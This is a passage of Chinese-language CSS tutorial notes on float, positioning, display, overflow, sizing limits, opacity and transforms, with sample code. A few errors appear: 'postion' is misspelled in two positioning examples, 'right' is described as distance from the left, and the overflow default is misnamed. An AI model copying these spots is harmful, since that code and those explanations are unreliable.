&lt;p&gt;&lt;strong&gt;&lt;code&gt;box-shadow&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;可以设置盒子模型的周边阴影&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;参数&lt;/p&gt;
&lt;p&gt;x轴偏移量   y轴偏移量   阴影大小  阴影颜色&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* 一个偏右下的红色阴影 */
box-shadow: 10px 20px 10px red;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;(三) float浮动&lt;/h4&gt;
&lt;h5&gt;3.1 文档流&lt;/h5&gt;
&lt;p&gt;文档中可显示对象在排列时所占用的位置&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;块级元素&lt;/strong&gt;：单独一行，自上而下（div、h1、p）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;行内元素&lt;/strong&gt;：从左到右水平分布显示（a、span、strong）&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;3.2 float特点&lt;/h5&gt;
&lt;ol&gt;
&lt;li&gt;脱离文档流，相对于父容器靠左或者靠右排列，如果之前有浮动元素，会挨着排列。&lt;/li&gt;
&lt;li&gt;如果区域内出现&lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt;标签，浮动元素的文本会绕开图片区域，呈现一个【文字围绕图片】的效果。&lt;/li&gt;
&lt;/ol&gt;
&lt;h5&gt;3.3 参数值&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;none(默认)：不浮动，保持原文档流。&lt;/li&gt;
&lt;li&gt;left：脱离文档流，居左浮动。&lt;/li&gt;
&lt;li&gt;right：脱离文档流，居右浮动。&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;style&amp;gt;
    .float-left{
        float:left;
    }
    div{
        width:100px;
        height:100px;
        border:1px solid red;
    }
&amp;lt;/style&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;!-- 案例1 元素浮动 --&amp;gt;
    &amp;lt;div class=&quot;float-container&quot;&amp;gt;
        &amp;lt;span&amp;gt;文本&amp;lt;/span&amp;gt;
        &amp;lt;div class=&quot;float-left&quot;&amp;gt;浮动元素1&amp;lt;/div&amp;gt;
        &amp;lt;div class=&quot;float-left&quot;&amp;gt;浮动元素2&amp;lt;/div&amp;gt;
    &amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;(四) position定位&lt;/h4&gt;
&lt;h5&gt;4.1 参数值&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;relative&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;指定该元素为相对定位，相对于其自身正常位置定位（常用于给子集提供定位参照）。如果是给自己提供定位参照点，可以不写【&lt;strong&gt;4.2&lt;/strong&gt;】的配合属性。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;案例&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!-- 子元素根据自身位置偏移 --&amp;gt;
&amp;lt;style&amp;gt;
    .position-relative{
        position:relative;
        left:10px;
        top:0px;
    }
    .father{
        height:100px;
        background-color:#123456;
    }
    .child{
        height:50px;
        background-color:#654321
    }
&amp;lt;/style&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;div class=&quot;father&quot;&amp;gt;
        &amp;lt;div class=&quot;child position-relative&quot;&amp;gt;&amp;lt;/div&amp;gt;
    &amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;absolute&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;指定该元素为绝对定位，相对于最近一个带有**【定位属性】**的父级元素定位，若没有则以&lt;code&gt;body&lt;/code&gt;做定位参照点。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;案例&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!-- 子元素根据自身位置偏移 --&amp;gt;
&amp;lt;style&amp;gt;
    .position-relative {
        postion: relative;
        left:50px;
        top:50px;
    }
    .position-absolute{
        /* 若不写，则继续找父级，直到body */
        position:absolute;
        left:10px;
        top:0px;
    }
    .father{
        height:100px;
        background-color:#123456;
    }
    .child{
        height:50px;
        background-color:#654321
    }
&amp;lt;/style&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;div class=&quot;father position-relative&quot;&amp;gt;
        &amp;lt;div class=&quot;child position-absolute&quot;&amp;gt;&amp;lt;/div&amp;gt;
    &amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;fixed&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;指定该元素为绝对固定定位，相对于浏览器窗口定位。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;案例&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!-- fixed固定定位 --&amp;gt;
&amp;lt;style&amp;gt;
    .position-relative {
        postion: relative;
        left:50px;
        top:50px;
    }
    .position-fixed{
        position:fixed;
        bottom:30px;
        right:10px;
    }
    .father{
        height:100px;
        background-color:#123456;
    }
    .child{
        height:50px;
        background-color:#654321
    }
&amp;lt;/style&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;div class=&quot;father position-relative&quot;&amp;gt;
        &amp;lt;div class=&quot;child position-fixed&quot;&amp;gt;&amp;lt;/div&amp;gt;
    &amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;4.2 配合属性&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;top&lt;/strong&gt;：离顶部的距离&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;bottom&lt;/strong&gt;：离底部的距离&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;left&lt;/strong&gt;：离左边的距离&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;right&lt;/strong&gt;：离左边的距离&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;position定位要配合上述属性使用，才能看到偏移效果，单位为：&lt;code&gt;px&lt;/code&gt; 或 &lt;code&gt;%&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;top&lt;/strong&gt;和&lt;strong&gt;bottom&lt;/strong&gt;不同时写，&lt;strong&gt;left&lt;/strong&gt;和&lt;strong&gt;right&lt;/strong&gt;不同时写。&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;(五) display&lt;/h4&gt;
&lt;h5&gt;5.1 值&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;none&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;隐藏该元素。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;block&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;将元素转为&lt;strong&gt;块级元素&lt;/strong&gt;。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;inline&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;将元素转为&lt;strong&gt;行内元素&lt;/strong&gt;。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;inline-block&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;将元素转为行&lt;strong&gt;内块元素&lt;/strong&gt;，可以指定宽高并且不换行。（未指定宽高则根据内容撑开）&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;5.2 去除元素间空白间隙&lt;/h5&gt;
&lt;p&gt;【inline-block】【inline】元素之间会有空白间隙。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;在你的HTML代码里元素间不留任何空白。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;父元素设置&lt;code&gt;font-size : 0&lt;/code&gt;。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;五、总结&lt;/h3&gt;
&lt;p&gt;这一小节，主要介绍了CSS继承、盒子模型、浮动、定位、display属性的使用。首先知识点都是非常重要，在日常开发中使用的非常高，其次他们的难度会有所上升，可能有些同学觉得会比较抽象，难以理解，是很正常的现象，不要着急。盒子模型是必须掌握的，因为每一个标签都是一个盒子模型，所有的样式都是围绕这个内容。浮动和定位更多是布局中使用，布局是需要大家对整个页面有规划，需要大家有大局观，从大到小去布局。在日后的不断练习中会得到锻炼，对这小节的知识会有更深理解。&lt;/p&gt;
&lt;h2&gt;CSS-03&lt;/h2&gt;
&lt;h3&gt;一、知识点&lt;/h3&gt;
&lt;p&gt;overflow、最大最小宽高、透明度、transform形变、动画、calc函数、过渡属性&lt;/p&gt;
&lt;h3&gt;二、目标&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;熟悉overflow使用场景&lt;/li&gt;
&lt;li&gt;熟悉最大最小宽度&lt;/li&gt;
&lt;li&gt;熟练使用transform&lt;/li&gt;
&lt;li&gt;熟练并区分css动画和过渡属性&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;三、内容分析&lt;/h3&gt;
&lt;h4&gt;(一) 重点&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;过渡属性&lt;/li&gt;
&lt;li&gt;动画&lt;/li&gt;
&lt;li&gt;最大最小宽高&lt;/li&gt;
&lt;li&gt;calc函数&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;(二) 难点&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;最大最小宽高&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;过渡属性&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;四、内容&lt;/h3&gt;
&lt;h4&gt;(一) 内容溢出&lt;/h4&gt;
&lt;h5&gt;1.1 overflow属性值&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;overflow&lt;/strong&gt;（默认值）: 内容不会被修剪，呈现在元素框外。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;案例&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;style&amp;gt;
    .block {
        width: 200px;
        height: 200px;
    }

    .of-visible {
        overflow: visible;
    }
&amp;lt;/style&amp;gt;

&amp;lt;body&amp;gt;
    &amp;lt;div class=&quot;block of-visible&quot;&amp;gt;
        
    &amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/85c5c2256a-overflow-visible.png&quot; style=&quot;zoom: 33%;&quot; /&amp;gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;auto&lt;/strong&gt;：内容溢出时出现滚动条。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;案例&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;style&amp;gt;
    .block {
        width: 200px;
        height: 200px;
    }

    .of-auto {
        overflow: auto;
    }
&amp;lt;/style&amp;gt;

&amp;lt;body&amp;gt;
    &amp;lt;div class=&quot;block of-auto&quot;&amp;gt;
        
    &amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/4622d9eb4e-overflow-auto-169882066144626.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;hidden&lt;/strong&gt;：内容溢出时，隐藏溢出的部分。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;案例&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;style&amp;gt;
    .block{
        width: 200px;
        height: 200px; 
    }
    .of-hidden {
        overflow: hidden;
    }
&amp;lt;/style&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;div class=&quot;block of-hidden&quot;&amp;gt;
         
    &amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/343f9e45a9-overflow-hidden-169882066438928.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;scroll&lt;/strong&gt;：无论内容是否溢出，都显示滚动条。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;案例&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;style&amp;gt;
    .block{
        width: 200px;
        height: 200px; 
    }
    .of-scroll {
        overflow: scroll;
    }
    img{
      	width: 100px;
      	height: 80px; 
    }
&amp;lt;/style&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;div class=&quot;block of-scroll&quot;&amp;gt;
       
    &amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/8c0eeb02d4-overflow-scroll-169882066719030.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;1.2 使用场景&lt;/h5&gt;
&lt;p&gt;用户头像、轮播图等等需要区域显示的场景。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;案例&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;style&amp;gt;
    .block {
        width: 200px;
        height: 200px;
        border-radius: 50%;
    }
    .of-hidden {
        overflow: hidden;
    }
    img{
        width: 300px;
        height: 240px;
    }
&amp;lt;/style&amp;gt;

&amp;lt;body&amp;gt;
    &amp;lt;div class=&quot;block of-hidden&quot;&amp;gt;
        
    &amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/6f1811e5d7-sample-169882067087932.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;(二) 最大最小宽高&lt;/h4&gt;
&lt;h5&gt;2.1 属性&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;min-height&lt;/code&gt; &lt;code&gt;min-width&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;指定元素最小的宽高。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;max-width&lt;/code&gt; &lt;code&gt;max-height&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;指定元素能够拥有的最大宽高。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;2.2 使用场景&lt;/h5&gt;
&lt;p&gt;当&lt;code&gt;width&lt;/code&gt;和&lt;code&gt;height&lt;/code&gt;的值为&lt;strong&gt;百分比&lt;/strong&gt;这种不固定值时，页面发生大小变化有可能导致元素过大或者过小，页面排版不美观，可以通过设置最大最小宽高限定其变化范围。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;style&amp;gt;
    .min{
        min-height:200px;
        min-width:400px;
    }
    .max{
        max-height:400px;
        max-width:400px
    }
    .container{
        width:100vw;
        height:100vh;
    }
    .box{
        width: 50%;
        height: 100%;
        background-color: #123456;
        color: #fff;
    }
&amp;lt;/style&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;div class=&quot;container&quot;&amp;gt;
        &amp;lt;div class=&quot;box min&quot;&amp;gt;&amp;lt;/div&amp;gt;
        &amp;lt;div class=&quot;box max&quot;&amp;gt;&amp;lt;/div&amp;gt;
    &amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;案例1&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;设置最小宽高。&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/bb533c072e-min.gif&quot; style=&quot;zoom: 50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;案例2&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;设置最大宽高。&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/717df27434-max.gif&quot; style=&quot;zoom: 50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h4&gt;(三) 透明度&lt;/h4&gt;
&lt;h5&gt;3.1 opacity&lt;/h5&gt;
&lt;p&gt;规定整个元素的透明度。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;取值范围&lt;/strong&gt;：&lt;code&gt;0 - 1&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：子元素也会变跟着透明&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  &amp;lt;style&amp;gt;
    .opacity-50{
        opacity: 0.5;
        /* opacity: 1; */
    }
    .father{
        background-color: green;
        
    }
     .child{
        background-color: red;
        width: 200px;
        height: 100px;
    }
&amp;lt;/style&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;div class=&quot;father opacity-50&quot;&amp;gt;
        &amp;lt;div class=&quot;child &quot;&amp;gt;
            opacity变化透明度
        &amp;lt;/div&amp;gt;
    &amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;案例&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;opacity: 0.5;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/af7711fcc4-opacity0.5.png&quot; style=&quot;zoom:80%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;opacity: 1;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/27f4f5a746-opacity1.png&quot; style=&quot;zoom:80%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;在子元素上设置时会导致重叠区域颜色改变。&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/9c7967f48c-child.png&quot; style=&quot;zoom:80%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h5&gt;3.2 rgba(r,g,b,a)&lt;/h5&gt;
&lt;p&gt;&lt;code&gt;rgb()&lt;/code&gt;的升级版，最后一个参数指定透明度。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;取值范围&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;r、g、b：&lt;code&gt;0 - 255&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;a：&lt;code&gt;0 - 1&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：不会影响子元素，只是更改背景颜色的透明度。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;body&amp;gt;
  &amp;lt;style&amp;gt;
    .father{
         width: 200px;
         height: 200px;
    }
    .child{
        background-color: red;
        width: 200px;
        height: 100px;
    }
    .rgba-5{
        background-color: rgba(0,0,0,.5);
        color: #fff;
    }
&amp;lt;/style&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;div class=&quot;father rgba-5&quot;&amp;gt;
        &amp;lt;div class=&quot;child&quot;&amp;gt;
            rgba变化透明度
        &amp;lt;/div&amp;gt;
    &amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;案例&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;rgba 值为 1&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/83936c14eb-agba1.png&quot; style=&quot;zoom: 80%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;rgba 值为 0.5&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/f011a5ff91-rgba0.5.png&quot; style=&quot;zoom:80%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h4&gt;(四) cursor手势&lt;/h4&gt;
&lt;p&gt;鼠标悬浮后的鼠标指针样式。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;pointer：手指样式（常用）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;更多手势见：&lt;a href=&quot;https://developer.mozilla.org/zh-CN/docs/Web/CSS/cursor#%E5%80%BC&quot;&gt;cursor | MDN&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;案例&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/f2c278f5c1-cursor-169882073240041.gif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;(五) transform变换&lt;/h4&gt;
&lt;h5&gt;5.1 变换方式&lt;/h5&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;rotate函数&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;rotate()：(默认)以【&lt;strong&gt;Z轴&lt;/strong&gt;】旋转元素。&lt;/li&gt;
&lt;li&gt;rotateX()：以【&lt;strong&gt;X轴&lt;/strong&gt;】旋转元素。&lt;/li&gt;
&lt;li&gt;rotateY()：以【&lt;strong&gt;Y轴&lt;/strong&gt;】旋转元素。&lt;/li&gt;
&lt;li&gt;rotateZ()：以【&lt;strong&gt;Z轴&lt;/strong&gt;】旋转元素。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;取值范围&lt;/strong&gt;：无上限，超过360就是转一圈，负角度表示逆时针的旋转。（单位：&lt;code&gt;deg&lt;/code&gt;）&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;案例&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;style&amp;gt;
  div {
      width: 200px;
      height: 100px;
      background-color: #123456;
      margin-top: 80px;
      margin-left: 50px;
      color: #fff;
  }

  /* 顺时针旋转45° */
  .rotate {
      transform: rotate(45deg);
  }

  /* 逆时针旋转45° */
  .reverse-rotate {
      transform: rotateZ(-45deg);
      margin-top: 120px;
  }

  .x-rotate {
      margin-top: 80px;
      transform: rotateX(45deg);
  }

  .y-rotate {
      margin-top: 80px;
      transform: rotateY(45deg);
  }
&amp;lt;/style&amp;gt;

&amp;lt;body&amp;gt;
  &amp;lt;!-- 顺时针旋转45° --&amp;gt;
  &amp;lt;div class=&quot;rotate&quot;&amp;gt;顺时针旋转45°&amp;lt;/div&amp;gt;
  &amp;lt;!-- 逆时针旋转45° --&amp;gt;
  &amp;lt;div class=&quot;reverse-rotate&quot;&amp;gt;逆时针旋转45°&amp;lt;/div&amp;gt;
  &amp;lt;!-- x轴旋转45° --&amp;gt;
  &amp;lt;div class=&quot;x-rotate&quot;&amp;gt;x轴旋转45°&amp;lt;/div&amp;gt;
  &amp;lt;!-- y轴旋转45° --&amp;gt;
  &amp;lt;div class=&quot;y-rotate&quot;&amp;gt;y轴旋转45°&amp;lt;/div&amp;gt;
  &amp;lt;div&amp;gt;没有改变的&amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/2dfea98c15-image-20221115160925501-169882073725443.png&quot; alt=&quot;image-20221115160925501&quot; style=&quot;zoom:80%;&quot; /&amp;gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;scale函数&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;scale()：&lt;/p&gt;
&lt;p&gt;单参：在【&lt;strong&gt;X、Y轴&lt;/strong&gt;】同倍比缩放元素。&lt;/p&gt;
&lt;p&gt;双参：分别指定【&lt;strong&gt;X轴&lt;/strong&gt;】、【&lt;strong&gt;Y轴&lt;/strong&gt;】倍比缩放元素。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;scaleX()：在【&lt;strong&gt;X轴&lt;/strong&gt;】缩放元素。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;scaleY()：在【&lt;strong&gt;Y轴&lt;/strong&gt;】缩放元素。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;取值范围&lt;/strong&gt;：0 - 无穷大。（单位：数字）&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;案例&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;style&amp;gt;
  div {
      width: 200px;
      height: 100px;
      background-color: #123456;
  }
  /* 放大到1.2倍 */
  .scale {
      transform: scale(1.2);
  }
  /* 缩小到0.5倍 */
  .reverse-scale {
      transform: scaleX(0.5);
  }
&amp;lt;/style&amp;gt;
&amp;lt;body&amp;gt;
  &amp;lt;!-- 放大到1.2倍 --&amp;gt;
  &amp;lt;div class=&quot;scale&quot;&amp;gt; &amp;lt;/div&amp;gt;
  &amp;lt;!-- 缩小到0.5倍 --&amp;gt;
  &amp;lt;div class=&quot;reverse-scale&quot;&amp;gt; &amp;lt;/div&amp;gt;

  &amp;lt;div&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/8e8c0d6969-scale-169882076060545.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;translate函数&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;以元素原文档流位置为原点，根据X、Y轴移动元素。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;translate()：&lt;/p&gt;
&lt;p&gt;单参：指定【&lt;strong&gt;X轴&lt;/strong&gt;】移动距离。&lt;/p&gt;
&lt;p&gt;双参：分别指定【&lt;strong&gt;X轴&lt;/strong&gt;】、【&lt;strong&gt;Y轴&lt;/strong&gt;】移动距离。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;translateX()：指定【&lt;strong&gt;X轴&lt;/strong&gt;】移动距离。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;translateY()：指定【&lt;strong&gt;Y轴&lt;/strong&gt;】移动距离。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;取值范围&lt;/strong&gt;：负数 - 整数。（单位：&lt;code&gt;px&lt;/code&gt; 、&lt;code&gt;%&lt;/code&gt;）&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;案例&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;style&amp;gt;
  #box{
      width: 300px;
      height: 300px;
      padding: 50px;
      border: 1px solid #ccc;
      background-color: rgba(0,0,0, 0) !important;
  }
  div {
      width: 150px;
      height: 50px;
      background-color: #123456;
      margin-top: 40px;
      color: #fff;
  }

  /* 正向移动X轴、负向移动Y轴 */
  .translate {
      transform: translate(100px,-40px);
  }
  /*  向移动X轴，自身宽度的一半 */
  .reverse-translate {
      transform: translate(50%);
  }
&amp;lt;/style&amp;gt;
&amp;lt;body&amp;gt;
  &amp;lt;div id=&quot;box&quot;&amp;gt;
      &amp;lt;!-- 正向移动X、Y轴 --&amp;gt;
      &amp;lt;div class=&quot;translate&quot;&amp;gt;正向移动X轴、负向移动Y轴 &amp;lt;/div&amp;gt;
      &amp;lt;!-- 负向移动X轴，自身宽度的一半 --&amp;gt;
      &amp;lt;div class=&quot;reverse-translate&quot;&amp;gt;向移动X轴，自身宽度的一半 &amp;lt;/div&amp;gt;

